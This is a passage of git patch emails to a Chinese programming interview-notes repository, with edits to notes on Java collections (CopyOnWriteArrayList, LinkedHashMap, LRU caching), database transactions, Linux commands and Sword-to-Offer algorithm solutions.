 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notes/剑指 offer 题解.md b/notes/剑指 offer 题解.md
index a7b6db99..e1655922 100644
--- a/notes/剑指 offer 题解.md	
+++ b/notes/剑指 offer 题解.md	
@@ -170,7 +170,7 @@ Given target = 20, return false.
 
 当前元素的查找区间为左下角的所有元素，例如元素 12 的查找区间如下：
 
-<div align="center"> <img src="../pics//026d3cb4-67f7-4a83-884d-8032f57ec446.png" width="200"/> </div><br>
+<div align="center"> <img src="../pics//026d3cb4-67f7-4a83-884d-8032f57ec446.png" width="250"/> </div><br>
 
 复杂度：O(M + N) + O(1)
 

From 183f906fb0207579a05dd06c6fc84e3b67ee2b9d Mon Sep 17 00:00:00 2001
From: wangpc <wangpc2015@163.com>
Date: Thu, 26 Jul 2018 20:56:49 +0800
Subject: [PATCH 03/87] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E7=AC=94=E8=AF=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 notes/数据库系统原理.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notes/数据库系统原理.md b/notes/数据库系统原理.md
index 87d210a9..a2969f3f 100644
--- a/notes/数据库系统原理.md
+++ b/notes/数据库系统原理.md
@@ -70,7 +70,7 @@
 
 一旦事务提交，则其所做的修改将会永远保存到数据库中。即使系统发生崩溃，事务执行的结果也不能丢失。
 
-可以通过数据库备份和恢复来实现，在系统发生奔溃时，使用备份的数据库进行数据恢复。
+可以通过数据库备份和恢复来实现，在系统发生崩溃时，使用备份的数据库进行数据恢复。
 
 ----
 
@@ -79,7 +79,7 @@
 - 只有满足一致性，事务的执行结果才是正确的。
 - 在无并发的情况下，事务串行执行，隔离性一定能够满足。此时要只要能满足原子性，就一定能满足一致性。
 - 在并发的情况下，多个事务并发执行，事务不仅要满足原子性，还需要满足隔离性，才能满足一致性。
-- 事务满足持久化是为了能应对数据库奔溃的情况。
+- 事务满足持久化是为了能应对数据库崩溃的情况。
 
 <div align="center"> <img src="../pics//35650b4b-efa1-49ba-9680-19837027cfc9.png" width="500"/> </div><br>
 

From 41176bb717340873fb412ccfdac6b4f5b109d7ca Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 26 Jul 2018 23:12:25 +0800
Subject: [PATCH 04/87] auto commit

---
 notes/Java 容器.md                            |  44 ++++++--
 notes/Linux.md                                |  14 +--
 notes/一致性.md                               |   2 +-
 notes/分布式问题分析.md                       |   4 +-
 notes/剑指 offer 题解.md                      |  94 ++++++++++--------
 notes/数据库系统原理.md                       |   6 +-
 pics/a58e294a-615d-4ea0-9fbf-064a6daec4b2.png | Bin 0 -> 18432 bytes
 7 files changed, 103 insertions(+), 61 deletions(-)
 create mode 100644 pics/a58e294a-615d-4ea0-9fbf-064a6daec4b2.png

diff --git a/notes/Java 容器.md b/notes/Java 容器.md
index 9e6e2ac3..9918979a 100644
--- a/notes/Java 容器.md	
+++ b/notes/Java 容器.md	
@@ -8,6 +8,7 @@
 * [三、源码分析](#三源码分析)
     * [ArrayList](#arraylist)
     * [Vector](#vector)
+    * [CopyOnWriteArrayList](#copyonwritearraylist)
     * [LinkedList](#linkedlist)
     * [HashMap](#hashmap)
     * [ConcurrentHashMap](#concurrenthashmap)
@@ -25,23 +26,23 @@
 
 ### 1. Set
 
-- HashSet：基于哈希实现，支持快速查找，但不支持有序性操作，例如根据一个范围查找元素的操作。并且失去了元素的插入顺序信息，也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的；
+- HashSet：基于哈希实现，支持快速查找，但不支持有序性操作，例如根据一个范围查找元素的操作。并且失去了元素的插入顺序信息，也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。
 
-- TreeSet：基于红黑树实现，支持有序性操作，但是查找效率不如 HashSet，HashSet 查找时间复杂度为 O(1)，TreeSet 则为 O(logN)；
+- TreeSet：基于红黑树实现，支持有序性操作，但是查找效率不如 HashSet，HashSet 查找时间复杂度为 O(1)，TreeSet 则为 O(logN)。
 
 - LinkedHashSet：具有 HashSet 的查找效率，且内部使用链表维护元素的插入顺序。
 
 ### 2. List
 
-- ArrayList：基于动态数组实现，支持随机访问；
+- ArrayList：基于动态数组实现，支持随机访问。
 
-- Vector：和 ArrayList 类似，但它是线程安全的；
+- Vector：和 ArrayList 类似，但它是线程安全的。
 
 - LinkedList：基于双向链表实现，只能顺序访问，但是可以快速地在链表中间插入和删除元素。不仅如此，LinkedList 还可以用作栈、队列和双向队列。
 
 ### 3. Queue
 
-- LinkedList：可以用它来支持双向队列；
+- LinkedList：可以用它来实现双向队列。
 
 - PriorityQueue：基于堆结构实现，可以用它来实现优先队列。
 
@@ -85,14 +86,14 @@ java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
 public static <T> List<T> asList(T... a)
 ```
 
-如果要将数组类型转换为 List 类型，应该注意的是 asList() 的参数为泛型的变长参数，因此不能使用基本类型数组作为参数，只能使用相应的包装类型数组。
+应该注意的是 asList() 的参数为泛型的变长参数，不能使用基本类型数组作为参数，只能使用相应的包装类型数组。
 
 ```java
 Integer[] arr = {1, 2, 3};
 List list = Arrays.asList(arr);
 ```
 
-也可以使用以下方式生成 List。
+也可以使用以下方式使用 asList()：
 
 ```java
 List list = Arrays.asList(1,2,3);
@@ -235,12 +236,12 @@ public synchronized E get(int index) {
 }
 ```
 
-### 2. ArrayList 与 Vector
+### 2. 与 ArrayList 的区别
 
 - Vector 是同步的，因此开销就比 ArrayList 要大，访问速度更慢。最好使用 ArrayList 而不是 Vector，因为同步操作完全可以由程序员自己来控制；
 - Vector 每次扩容请求其大小的 2 倍空间，而 ArrayList 是 1.5 倍。
 
-### 3. Vector 替代方案
+### 3. 替代方案
 
 为了获得线程安全的 ArrayList，可以使用 `Collections.synchronizedList();` 得到一个线程安全的 ArrayList。
 
@@ -255,7 +256,15 @@ List<String> synList = Collections.synchronizedList(list);
 List<String> list = new CopyOnWriteArrayList<>();
 ```
 
-CopyOnWriteArrayList 是一种 CopyOnWrite 容器，从以下源码看出：读取元素是从原数组读取；添加元素是在复制的新数组上。读写分离，因而可以在并发条件下进行不加锁的读取，读取效率高，适用于读操作远大于写操作的场景。
+## CopyOnWriteArrayList
+
+### 读写分离
+
+写操作在一个复制的数组上进行，读操作还是在原始数组中进行，读写分离，互不影响。
+
+写操作需要加锁，防止同时并发写入时导致的写入数据丢失。
+
+写操作结束之后需要把原始数组指向新的复制数组。
 
 ```java
 public boolean add(E e) {
@@ -264,7 +273,7 @@ public boolean add(E e) {
     try {
         Object[] elements = getArray();
         int len = elements.length;
-        Object[] newElements = Arrays.copyOf(elements, len + 1); 
+        Object[] newElements = Arrays.copyOf(elements, len + 1);
         newElements[len] = e;
         setArray(newElements);
         return true;
@@ -276,13 +285,26 @@ public boolean add(E e) {
 final void setArray(Object[] a) {
     array = a;
 }
+```
 
+```java
 @SuppressWarnings("unchecked")
 private E get(Object[] a, int index) {
     return (E) a[index];
 }
 ```
 
+### 适用场景
+
+CopyOnWriteArrayList 在写操作的同时允许读操作，大大提高了读操作的性能，因此很适合读多写少的应用场景。
+
+但是 CopyOnWriteArrayList 有其缺陷：
+
+- 内存占用：在写操作时需要复制一个新的数组，使得内存占用为原来的两倍左右；
+- 数据不一致：读操作不能读取实时性的数据，因为部分写操作的数据还未同步到读数组中。
+
+所以 CopyOnWriteArrayList 不适合内存敏感以及对实时性要求很高的场景。
+
 ## LinkedList
 
 ### 1. 概览
diff --git a/notes/Linux.md b/notes/Linux.md
index 27094e5c..705b9b0d 100644
--- a/notes/Linux.md
+++ b/notes/Linux.md
@@ -871,7 +871,9 @@ $ ls -al /etc | less
 
 ## 提取指令
 
-cut 对数据进行切分，取出想要的部分。切分过程一行一行地进行。
+cut 对数据进行切分，取出想要的部分。
+
+切分过程一行一行地进行。
 
 ```html
 $ cut
@@ -891,7 +893,7 @@ root pts/1 192.168.201.254 Thu Feb 5 22:37 - 23:53 (01:16)
 $ last | cut -d ' ' -f 1
 ```
 
-示例 2：将 export 输出的讯息，取出第 12 字符以后的所有字符串。
+示例 2：将 export 输出的信息，取出第 12 字符以后的所有字符串。
 
 ```html
 $ export
@@ -906,7 +908,7 @@ $ export | cut -c 12
 
 ## 排序指令
 
-**sort**  进行排序。
+**sort**  用于排序。
 
 ```html
 $ sort [-fbMnrtuk] [file or stdin]
@@ -1204,7 +1206,7 @@ pid_t wait(int *status)
 
 如果成功，返回被收集的子进程的进程 ID；如果调用进程没有子进程，调用就会失败，此时返回 -1，同时 errno 被置为 ECHILD。
 
-参数 status 用来保存被收集的子进程退出时的一些状态，如果我们对这个子进程是如何死掉的毫不在意，只想把这个子进程消灭掉，可以设置这个参数为 NULL：
+参数 status 用来保存被收集的子进程退出时的一些状态，如果对这个子进程是如何死掉的毫不在意，只想把这个子进程消灭掉，可以设置这个参数为 NULL：
 
 ```c
 pid = wait(NULL);
@@ -1218,7 +1220,7 @@ pid_t waitpid(pid_t pid, int *status, int options)
 
 作用和 wait() 完全相同，但是多了两个可由用户控制的参数 pid 和 options。
 
-pid 参数指示一个子进程的 ID，表示只关心这个子进程的退出 SIGCHLD 信号。如果 pid=-1 时，那么和 wait() 作用相同，都是关心所有子进程退出的 SIGCHLD 信号。
+pid 参数指示一个子进程的 ID，表示只关心这个子进程退出的 SIGCHLD 信号。如果 pid=-1 时，那么和 wait() 作用相同，都是关心所有子进程退出的 SIGCHLD 信号。
 
 options 参数主要有 WNOHANG 和 WUNTRACED 两个选项，WNOHANG 可以使 waitpid() 调用变成非阻塞的，也就是说它会立即返回，父进程可以继续执行其它任务。
 
@@ -1238,7 +1240,7 @@ options 参数主要有 WNOHANG 和 WUNTRACED 两个选项，WNOHANG 可以使 w
 
 系统所能使用的进程号是有限的，如果大量的产生僵尸进程，将因为没有可用的进程号而导致系统不能产生新的进程。
 
-要消灭系统中大量的僵尸进程，只需要将其父进程杀死，此时所有的僵尸进程就会变成孤儿进程，从而被 init 所收养，这样 init 就会释放所有的僵死进程所占有的资源，从而结束僵尸进程。
+要消灭系统中大量的僵尸进程，只需要将其父进程杀死，此时僵尸进程就会变成孤儿进程，从而被 init 所收养，这样 init 就会释放所有的僵死进程所占有的资源，从而结束僵尸进程。
 
 # 参考资料
 
diff --git a/notes/一致性.md b/notes/一致性.md
index 7209dccf..b00de8ff 100644
--- a/notes/一致性.md
+++ b/notes/一致性.md
@@ -91,7 +91,7 @@ ACID 要求强一致性，通常运用在传统的数据库系统上。而 BASE
 
 主要用于实现分布式事务，分布式事务指的是事务操作跨越多个节点，并且要求满足事务的 ACID 特性。
 
-通过引入协调者（Coordinator）来调度参与者的行为，，并最终决定这些参与者是否要真正执行事务。
+通过引入协调者（Coordinator）来调度参与者的行为，并最终决定这些参与者是否要真正执行事务。
 
 ## 运行过程
 
diff --git a/notes/分布式问题分析.md b/notes/分布式问题分析.md
index 4f019525..dfeb7691 100644
--- a/notes/分布式问题分析.md
+++ b/notes/分布式问题分析.md
@@ -216,7 +216,9 @@ HTTP 重定向负载均衡服务器收到 HTTP 请求之后会返回服务器的
 
 ### 2. DNS 重定向
 
-使用 DNS 作为负载均衡器，根据负载情况返回不同服务器的 IP 地址。大型网站基本使用了这种方式做为第一级负载均衡手段，然后在内部使用其它方式做第二级负载均衡。
+使用 DNS 作为负载均衡器，根据负载情况返回不同服务器的 IP 地址。
+
+大型网站基本使用了这种方式做为第一级负载均衡手段，然后在内部使用其它方式做第二级负载均衡。
 
 缺点：
 
diff --git a/notes/剑指 offer 题解.md b/notes/剑指 offer 题解.md
index 6f786cbe..e1655922 100644
--- a/notes/剑指 offer 题解.md	
+++ b/notes/剑指 offer 题解.md	
@@ -90,12 +90,20 @@
 
 ## 题目描述
 
-在一个长度为 n 的数组里的所有数字都在 0 到 n-1 的范围内。数组中某些数字是重复的，但不知道有几个数字是重复的，也不知道每个数字重复几次。请找出数组中任意一个重复的数字。例如，如果输入长度为 7 的数组 {2, 3, 1, 0, 2, 5}，那么对应的输出是第一个重复的数字 2。
+在一个长度为 n 的数组里的所有数字都在 0 到 n-1 的范围内。数组中某些数字是重复的，但不知道有几个数字是重复的，也不知道每个数字重复几次。请找出数组中任意一个重复的数字。
 
-要求复杂度为 O(N) + O(1)，也就是时间复杂度 O(N)，空间复杂度 O(1)。因此不能使用排序的方法，也不能使用额外的标记数组。牛客网讨论区这一题的首票答案使用 nums[i] + length 来将元素标记，这么做会有加法溢出问题。
+```html
+Input:
+{2, 3, 1, 0, 2, 5}
+
+Output:
+2
+```
 
 ## 解题思路
 
+要求复杂度为 O(N) + O(1)，也就是时间复杂度 O(N)，空间复杂度 O(1)。因此不能使用排序的方法，也不能使用额外的标记数组。牛客网讨论区这一题的首票答案使用 nums[i] + length 来将元素标记，这么做会有加法溢出问题。
+
 这种数组元素在 [0, n-1] 范围内的问题，可以将值为 i 的元素放到第 i 个位置上。
 
 以 (2, 3, 1, 0, 2, 5) 为例：
@@ -158,7 +166,11 @@ Given target = 20, return false.
 
 ## 解题思路
 
-从右上角开始查找。因为矩阵中的一个数，它左边的数都比它小，下边的数都比它大。因此，从右上角开始查找，就可以根据 target 和当前元素的大小关系来缩小查找区间。
+从右上角开始查找。矩阵中的一个数，它左边的数都比它小，下边的数都比它大。因此，从右上角开始查找，就可以根据 target 和当前元素的大小关系来缩小查找区间。
+
+当前元素的查找区间为左下角的所有元素，例如元素 12 的查找区间如下：
+
+<div align="center"> <img src="../pics//026d3cb4-67f7-4a83-884d-8032f57ec446.png" width="250"/> </div><br>
 
 复杂度：O(M + N) + O(1)
 
@@ -261,25 +273,14 @@ public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
 }
 ```
 
-### 使用 Collections.reverse()
-
-```java
-public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
-    ArrayList<Integer> ret = new ArrayList<>();
-    while (listNode != null) {
-        ret.add(listNode.val);
-        listNode = listNode.next;
-    }
-    Collections.reverse(ret);
-    return ret;
-}
-```
-
 ### 使用头插法
 
 利用链表头插法为逆序的特点。
 
-头结点和第一个节点的区别：头结点是在头插法中使用的一个额外节点，这个节点不存储值；第一个节点就是链表的第一个真正存储值的节点。
+头结点和第一个节点的区别：
+
+- 头结点是在头插法中使用的一个额外节点，这个节点不存储值；
+- 第一个节点就是链表的第一个真正存储值的节点。
 
 ```java
 public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
@@ -302,6 +303,20 @@ public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
 }
 ```
 
+### 使用 Collections.reverse()
+
+```java
+public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
+    ArrayList<Integer> ret = new ArrayList<>();
+    while (listNode != null) {
+        ret.add(listNode.val);
+        listNode = listNode.next;
+    }
+    Collections.reverse(ret);
+    return ret;
+}
+```
+
 # 7. 重建二叉树
 
 [NowCoder](https://www.nowcoder.com/practice/8a19cbe657394eeaac2f6ea9b0f6fcf6?tpId=13&tqId=11157&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
@@ -322,22 +337,23 @@ inorder =  [9,3,15,20,7]
 前序遍历的第一个值为根节点的值，使用这个值将中序遍历结果分成两部分，左部分为树的左子树中序遍历结果，右部分为树的右子树中序遍历的结果。
 
 ```java
-private Map<Integer, Integer> inOrderNumsIndexs = new HashMap<>(); // 缓存中序遍历数组的每个值对应的索引
+// 缓存中序遍历数组的每个值对应的索引
+private Map<Integer, Integer> inOrderNumsIndexs = new HashMap<>();
 
 public TreeNode reConstructBinaryTree(int[] pre, int[] in) {
     for (int i = 0; i < in.length; i++)
         inOrderNumsIndexs.put(in[i], i);
-    return reConstructBinaryTree(pre, 0, pre.length - 1, in, 0, in.length - 1);
+    return reConstructBinaryTree(pre, 0, pre.length - 1, 0, in.length - 1);
 }
 
-private TreeNode reConstructBinaryTree(int[] pre, int preL, int preR, int[] in, int inL, int inR) {
+private TreeNode reConstructBinaryTree(int[] pre, int preL, int preR, int inL, int inR) {
     if (preL > preR)
         return null;
     TreeNode root = new TreeNode(pre[preL]);
     int inIndex = inOrderNumsIndexs.get(root.val);
     int leftTreeSize = inIndex - inL;
-    root.left = reConstructBinaryTree(pre, preL + 1, preL + leftTreeSize, in, inL, inL + leftTreeSize - 1);
-    root.right = reConstructBinaryTree(pre, preL + leftTreeSize + 1, preR, in, inL + leftTreeSize + 1, inR);
+    root.left = reConstructBinaryTree(pre, preL + 1, preL + leftTreeSize, inL, inL + leftTreeSize - 1);
+    root.right = reConstructBinaryTree(pre, preL + leftTreeSize + 1, preR, inL + leftTreeSize + 1, inR);
     return root;
 }
 ```
@@ -350,16 +366,6 @@ private TreeNode reConstructBinaryTree(int[] pre, int preL, int preR, int[] in,
 
 给定一个二叉树和其中的一个结点，请找出中序遍历顺序的下一个结点并且返回。注意，树中的结点不仅包含左右子结点，同时包含指向父结点的指针。
 
-## 解题思路
-
-① 如果一个节点的右子树不为空，那么该节点的下一个节点是右子树的最左节点；
-
-<div align="center"> <img src="../pics//cb0ed469-27ab-471b-a830-648b279103c8.png" width="250"/> </div><br>
-
-② 否则，向上找第一个左链接指向的树包含该节点的祖先节点。
-
-<div align="center"> <img src="../pics//e143f6da-d114-4ba4-8712-f65299047fa2.png" width="250"/> </div><br>
-
 ```java
 public class TreeLinkNode {
     int val;
@@ -373,6 +379,16 @@ public class TreeLinkNode {
 }
 ```
 
+## 解题思路
+
+① 如果一个节点的右子树不为空，那么该节点的下一个节点是右子树的最左节点；
+
+<div align="center"> <img src="../pics//cb0ed469-27ab-471b-a830-648b279103c8.png" width="250"/> </div><br>
+
+② 否则，向上找第一个左链接指向的树包含该节点的祖先节点。
+
+<div align="center"> <img src="../pics//e143f6da-d114-4ba4-8712-f65299047fa2.png" width="250"/> </div><br>
+
 ```java
 public TreeLinkNode GetNext(TreeLinkNode pNode) {
     if (pNode.right != null) {
@@ -398,7 +414,7 @@ public TreeLinkNode GetNext(TreeLinkNode pNode) {
 
 ## 题目描述
 
-用两个栈来实现一个队列，完成队列的 Push 和 Pop 操作。队列中的元素为 int 类型。
+用两个栈来实现一个队列，完成队列的 Push 和 Pop 操作。
 
 ## 解题思路
 
@@ -442,7 +458,7 @@ public int pop() throws Exception {
 
 <div align="center"> <img src="../pics//a0df8edc-581b-4977-95c2-d7025795b899.png" width="300"/> </div><br>
 
-递归方法是将一个问题划分成多个子问题求解，动态规划也是如此，但是动态规划会把子问题的解缓存起来，避免重复求解子问题。
+递归是将一个问题划分成多个子问题求解，动态规划也是如此，但是动态规划会把子问题的解缓存起来，从而避免重复求解子问题。
 
 ```java
 public int Fibonacci(int n) {
@@ -521,11 +537,11 @@ public int JumpFloor(int n) {
 
 ```java
 public int JumpFloor(int n) {
-    if (n <= 1)
+    if (n <= 2)
         return n;
-    int pre2 = 0, pre1 = 1;
-    int result = 0;
-    for (int i = 1; i <= n; i++) {
+    int pre2 = 1, pre1 = 2;
+    int result = 1;
+    for (int i = 2; i < n; i++) {
         result = pre2 + pre1;
         pre2 = pre1;
         pre1 = result;
diff --git a/notes/数据库系统原理.md b/notes/数据库系统原理.md
index 87d210a9..cabc2f97 100644
--- a/notes/数据库系统原理.md
+++ b/notes/数据库系统原理.md
@@ -70,7 +70,7 @@
 
 一旦事务提交，则其所做的修改将会永远保存到数据库中。即使系统发生崩溃，事务执行的结果也不能丢失。
 
-可以通过数据库备份和恢复来实现，在系统发生奔溃时，使用备份的数据库进行数据恢复。
+可以通过数据库备份和恢复来实现，在系统发生崩溃时，使用备份的数据库进行数据恢复。
 
 ----
 
@@ -79,9 +79,9 @@
 - 只有满足一致性，事务的执行结果才是正确的。
 - 在无并发的情况下，事务串行执行，隔离性一定能够满足。此时要只要能满足原子性，就一定能满足一致性。
 - 在并发的情况下，多个事务并发执行，事务不仅要满足原子性，还需要满足隔离性，才能满足一致性。
-- 事务满足持久化是为了能应对数据库奔溃的情况。
+- 事务满足持久化是为了能应对数据库崩溃的情况。
 
-<div align="center"> <img src="../pics//35650b4b-efa1-49ba-9680-19837027cfc9.png" width="500"/> </div><br>
+<div align="center"> <img src="../pics//a58e294a-615d-4ea0-9fbf-064a6daec4b2.png" width="400"/> </div><br>
 
 ## AUTOCOMMIT
 
diff --git a/pics/a58e294a-615d-4ea0-9fbf-064a6daec4b2.png b/pics/a58e294a-615d-4ea0-9fbf-064a6daec4b2.png
new file mode 100644
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From 0eea840b7e6b2ee369de62c86901ece2604acecb Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 26 Jul 2018 23:15:56 +0800
Subject: [PATCH 05/87] auto commit

---
 README.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/README.md b/README.md
index 1163cab0..855db3ef 100644
--- a/README.md
+++ b/README.md
@@ -87,17 +87,17 @@ Leetcode 上数据库题目的解题记录。
 
 参考 Effective Java、Java 编程思想，也有部分内容参考官方文档以及 StackOverflow。
 
-> [Java 虚拟机](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20虚拟机.md)
+> [Java 容器](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20容器.md)
 
-参考 深入理解 Java 虚拟机。
+包含容器源码分析。
 
 > [Java 并发](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20并发.md)
 
 参考 Java 编程思想、深入理解 Java 虚拟机。
 
-> [Java 容器](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20容器.md)
+> [Java 虚拟机](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20虚拟机.md)
 
-包含容器源码的分析。
+参考 深入理解 Java 虚拟机。
 
 > [Java I/O](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/Java%20IO.md)
 

From e56ff5aafb4fa017431522f5670195908eafc4eb Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Fri, 27 Jul 2018 00:03:49 +0800
Subject: [PATCH 06/87] auto commit

---
 notes/Java 容器.md | 130 ++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 128 insertions(+), 2 deletions(-)

diff --git a/notes/Java 容器.md b/notes/Java 容器.md
index 9918979a..009a338b 100644
--- a/notes/Java 容器.md	
+++ b/notes/Java 容器.md	
@@ -12,6 +12,7 @@
     * [LinkedList](#linkedlist)
     * [HashMap](#hashmap)
     * [ConcurrentHashMap](#concurrenthashmap)
+    * [LinkedHashMap](#linkedhashmap)
 * [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
@@ -319,7 +320,7 @@ private static class Node<E> {
 }
 ```
 
-每个链表存储了 Head 和 Tail 指针：
+每个链表存储了 first 和 last 指针：
 
 ```java
 transient Node<E> first;
@@ -847,7 +848,6 @@ public int size() {
 }
 ```
 
-
 ### 3. JDK 1.8 的改动
 
 JDK 1.7 使用分段锁机制来实现并发更新操作，核心类为 Segment，它继承自重入锁 ReentrantLock，并发程度与 Segment 数量相等。
@@ -856,6 +856,132 @@ JDK 1.8 使用了 CAS 操作来支持更高的并发度，在 CAS 操作失败
 
 并且 JDK 1.8 的实现也在链表过长时会转换为红黑树。
 
+## LinkedHashMap
+
+### 存储结构
+
+继承自 HashMap，因此具有和 HashMap 一样的快速查找特性。
+
+```java
+public class LinkedHashMap<K,V> extends HashMap<K,V> implements Map<K,V>
+```
+
+内存维护了一个双向循环链表，用来维护插入顺序或者 LRU 顺序。
+
+```java
+/**
+ * The head (eldest) of the doubly linked list.
+ */
+transient LinkedHashMap.Entry<K,V> head;
+
+/**
+ * The tail (youngest) of the doubly linked list.
+ */
+transient LinkedHashMap.Entry<K,V> tail;
+```
+
+顺序使用 accessOrder 来决定，默认为 false，此时使用的是插入顺序。
+
+```java
+final boolean accessOrder;
+```
+
+LinkedHashMap 最重要的是以下用于记录顺序的函数，它们会在 put、get 等方法中调用。
+
+```java
+void afterNodeAccess(Node<K,V> p) { }
+void afterNodeInsertion(boolean evict) { }
+```
+
+### afterNodeAccess()
+
+当一个 Node 被访问时，如果 accessOrder 为 true，会将它移到链表尾部。也就是说指定为 LRU 顺序之后，在每次方位一个节点时，会将这个节点移到链表尾部，保证链表尾部是最近访问的节点，那么链表首部就是最近最久为使用的节点。
+
+```java
+void afterNodeAccess(Node<K,V> e) { // move node to last
+    LinkedHashMap.Entry<K,V> last;
+    if (accessOrder && (last = tail) != e) {
+        LinkedHashMap.Entry<K,V> p =
+            (LinkedHashMap.Entry<K,V>)e, b = p.before, a = p.after;
+        p.after = null;
+        if (b == null)
+            head = a;
+        else
+            b.after = a;
+        if (a != null)
+            a.before = b;
+        else
+            last = b;
+        if (last == null)
+            head = p;
+        else {
+            p.before = last;
+            last.after = p;
+        }
+        tail = p;
+        ++modCount;
+    }
+}
+```
+
+### afterNodeInsertion()
+
+在 put 等操作之后执行，当 removeEldestEntry() 方法返回 ture 时会移除最晚的节点，也就是链表首部节点 first。
+
+evict 只有在构建 Map 的时候才为 true。
+
+```java
+void afterNodeInsertion(boolean evict) { // possibly remove eldest
+    LinkedHashMap.Entry<K,V> first;
+    if (evict && (first = head) != null && removeEldestEntry(first)) {
+        K key = first.key;
+        removeNode(hash(key), key, null, false, true);
+    }
+}
+```
+
+removeEldestEntry() 默认为 false，如果需要让它为 true，需要继承 LinkedHashMap 并且覆盖这个方法的实现，这在实现 LRU 的缓存中特别有用，通过移除最近最久未使用的节点，从而保证缓存空间足够，并且缓存的数据都是热点数据。
+
+```java
+protected boolean removeEldestEntry(Map.Entry<K,V> eldest) {
+        return false;
+    }
+```
+
+### LRU 缓存
+
+以下是使用 LinkedHashMap 实现的一个 LRU 缓存，设定最大缓存空间 MAX_ENTRIES  为 2，并且使用 LinkedHashMap 的构造函数将 accessOrder 设置为 true，开启 LUR 顺序。并且覆盖了 removeEldestEntry() 方法实现，在节点多于 MAX_ENTRIES 就会将最近最久未使用的数据移除。
+
+```java
+class LRUCache<K, V> extends LinkedHashMap<K, V> {
+    private static final int MAX_ENTRIES = 3;
+
+    protected boolean removeEldestEntry(Map.Entry eldest) {
+        return size() > MAX_ENTRIES;
+    }
+
+    LRUCache() {
+        super(MAX_ENTRIES, 0.75f, true);
+    }
+}
+```
+
+```java
+public static void main(String[] args) {
+    LRUCache<Integer, String> cache = new LRUCache<>();
+    cache.put(1, "a");
+    cache.put(2, "b");
+    cache.put(3, "c");
+    cache.get(1);
+    cache.put(4, "d");
+    System.out.println(cache.keySet());
+}
+```
+
+```html
+[3, 1, 4]
+```
+
 # 参考资料
 
 - Eckel B. Java 编程思想 [M]. 机械工业出版社, 2002.

From 0bdaffd59c6009af4d7e9b4cc1cc036c21f8ed7f Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Fri, 27 Jul 2018 00:08:08 +0800
Subject: [PATCH 07/87] auto commit

---
 notes/Java 容器.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notes/Java 容器.md b/notes/Java 容器.md
index 009a338b..4cad3006 100644
--- a/notes/Java 容器.md	
+++ b/notes/Java 容器.md	
@@ -895,7 +895,7 @@ void afterNodeInsertion(boolean evict) { }
 
 ### afterNodeAccess()
 
-当一个 Node 被访问时，如果 accessOrder 为 true，会将它移到链表尾部。也就是说指定为 LRU 顺序之后，在每次方位一个节点时，会将这个节点移到链表尾部，保证链表尾部是最近访问的节点，那么链表首部就是最近最久为使用的节点。
+当一个 Node 被访问时，如果 accessOrder 为 true，会将它移到链表尾部。也就是说指定为 LRU 顺序之后，在每次访问一个节点时，会将这个节点移到链表尾部，保证链表尾部是最近访问的节点，那么链表首部就是最近最久未使用的节点。
 
 ```java
 void afterNodeAccess(Node<K,V> e) { // move node to last
@@ -928,7 +928,7 @@ void afterNodeAccess(Node<K,V> e) { // move node to last
 
 在 put 等操作之后执行，当 removeEldestEntry() 方法返回 ture 时会移除最晚的节点，也就是链表首部节点 first。
 
-evict 只有在构建 Map 的时候才为 true。
+evict 只有在构建 Map 的时候才为 false，在这里为 true。
 
 ```java
 void afterNodeInsertion(boolean evict) { // possibly remove eldest
@@ -950,7 +950,7 @@ protected boolean removeEldestEntry(Map.Entry<K,V> eldest) {
 
 ### LRU 缓存
 
-以下是使用 LinkedHashMap 实现的一个 LRU 缓存，设定最大缓存空间 MAX_ENTRIES  为 2，并且使用 LinkedHashMap 的构造函数将 accessOrder 设置为 true，开启 LUR 顺序。并且覆盖了 removeEldestEntry() 方法实现，在节点多于 MAX_ENTRIES 就会将最近最久未使用的数据移除。
+以下是使用 LinkedHashMap 实现的一个 LRU 缓存，设定最大缓存空间 MAX_ENTRIES  为 3。使用 LinkedHashMap 的构造函数将 accessOrder 设置为 true，开启 LUR 顺序。覆盖 removeEldestEntry() 方法实现，在节点多于 MAX_ENTRIES 就会将最近最久未使用的数据移除。
 
 ```java
 class LRUCache<K, V> extends LinkedHashMap<K, V> {

From 28e05ef54f84741974d0da6aca994ca3ef812aa8 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Fri, 27 Jul 2018 00:49:18 +0800
Subject: [PATCH 08/87] auto commit

---
 notes/Java 容器.md   | 58 ++++++++++++++++++++++++++++++++++++++++++++
 notes/Java 虚拟机.md | 43 --------------------------------
 2 files changed, 58 insertions(+), 43 deletions(-)

diff --git a/notes/Java 容器.md b/notes/Java 容器.md
index 4cad3006..c6fc88f4 100644
--- a/notes/Java 容器.md	
+++ b/notes/Java 容器.md	
@@ -13,6 +13,7 @@
     * [HashMap](#hashmap)
     * [ConcurrentHashMap](#concurrenthashmap)
     * [LinkedHashMap](#linkedhashmap)
+    * [WeekHashMap](#weekhashmap)
 * [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
